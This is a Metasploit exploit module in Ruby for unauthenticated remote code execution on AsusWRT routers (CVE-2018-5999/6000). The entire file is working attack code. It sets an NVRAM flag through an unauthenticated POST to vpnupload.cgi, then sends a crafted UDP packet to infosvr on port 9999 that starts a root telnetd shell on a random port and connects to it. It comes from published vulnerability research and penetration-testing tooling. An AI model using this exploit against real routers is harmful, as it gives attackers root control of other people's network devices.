AsusWRT LAN Unauthenticated Remote Code Execution

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::Udp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'AsusWRT LAN Unauthenticated Remote Code Execution',
      'Description'    => %q{
      The HTTP server in AsusWRT has a flaw where it allows an unauthenticated client to
      perform a POST in certain cases. This can be combined with another vulnerability in
      the VPN configuration upload routine that sets NVRAM configuration variables directly
      from the POST request to enable a special command mode.
      This command mode can then be abused by sending a UDP packet to infosvr, which is running
      on port UDP 9999 to directly execute commands as root.
      This exploit leverages that to start telnetd in a random port, and then connects to it.
      It has been tested with the RT-AC68U running AsusWRT Version 3.0.0.4.380.7743.
      },
      'Author'         =>
        [
          'Pedro Ribeiro <pedrib@gmail.com>'         # Vulnerability discovery and Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['URL', 'https://blogs.securiteam.com/index.php/archives/3589'],
          ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/asuswrt-lan-rce.txt'],
          ['URL', 'http://seclists.org/fulldisclosure/2018/Jan/78'],
          ['CVE', '2018-5999'],
          ['CVE', '2018-6000']
        ],
      'Targets'        =>
        [
          [ 'AsusWRT < v3.0.0.4.384.10007',
            {
              'Payload'        =>
                {
                  'Compat'  => {
                    'PayloadType'    => 'cmd_interact',
                    'ConnectionType' => 'find',
                  },
                },
            }
          ],
        ],
      'Privileged'     => true,
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
      'DisclosureDate'  => 'Jan 22 2018',
      'DefaultTarget'   => 0))
    register_options(
      [
        Opt::RPORT(9999)
      ])

    register_advanced_options(
      [
        OptInt.new('ASUSWRTPORT', [true,  'AsusWRT HTTP portal port', 80])
      ])
  end

  def exploit
    # first we set the ateCommand_flag variable to 1 to allow PKT_SYSCMD
    # this attack can also be used to overwrite the web interface password and achieve RCE by enabling SSH and rebooting!
    post_data = Rex::MIME::Message.new
    post_data.add_part('1', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"ateCommand_flag\"")

    data = post_data.to_s

    res = send_request_cgi({
      'uri'    => "/vpnupload.cgi",
      'method' => 'POST',
      'rport'  => datastore['ASUSWRTPORT'],
      'data'   => data,
      'ctype'  => "multipart/form-data; boundary=#{post_data.bound}"
    })

    if res and res.code == 200
      print_good("#{peer} - Successfully set the ateCommand_flag variable.")
    else
      fail_with(Failure::Unknown, "#{peer} - Failed to set ateCommand_flag variable.")
    end


    # ... but we like to do it more cleanly, so let's send the PKT_SYSCMD as described in the comments above.
    info_pdu_size = 512                         # expected packet size, not sure what the extra bytes are
    r = Random.new

    ibox_comm_pkt_hdr_ex  =
        [0x0c].pack('C*') +                     # NET_SERVICE_ID_IBOX_INFO  0xC
        [0x15].pack('C*') +                     # NET_PACKET_TYPE_CMD 0x15
        [0x33,0x00].pack('C*') +                # NET_CMD_ID_MANU_CMD 0x33
        r.bytes(4) +                            # Info, don't know what this is
        r.bytes(6) +                            # MAC address
        r.bytes(32)                             # Password

    telnet_port = rand((2**16)-1024)+1024
    cmd = "/usr/sbin/telnetd -l /bin/sh -p #{telnet_port}" + [0x00].pack('C*')
    pkt_syscmd =
        [cmd.length,0x00].pack('C*') +          # cmd length
        cmd                                     # our command

    pkt_final = ibox_comm_pkt_hdr_ex + pkt_syscmd + r.bytes(info_pdu_size - (ibox_comm_pkt_hdr_ex + pkt_syscmd).length)

    connect_udp
    udp_sock.put(pkt_final)                     # we could process the response, but we don't care
    disconnect_udp

    print_status("#{peer} - Packet sent, let's sleep 10 seconds and try to connect to the router on port #{telnet_port}")
    sleep(10)

    begin
      ctx = { 'Msf' => framework, 'MsfExploit' => self }
      sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port, 'Context' => ctx, 'Timeout' => 10 })
      if not sock.nil?
        print_good("#{peer} - Success, shell incoming!")
        return handler(sock)
      end
    rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
      sock.close if sock
    end

    print_bad("#{peer} - Well that didn't work... try again?")
  end
end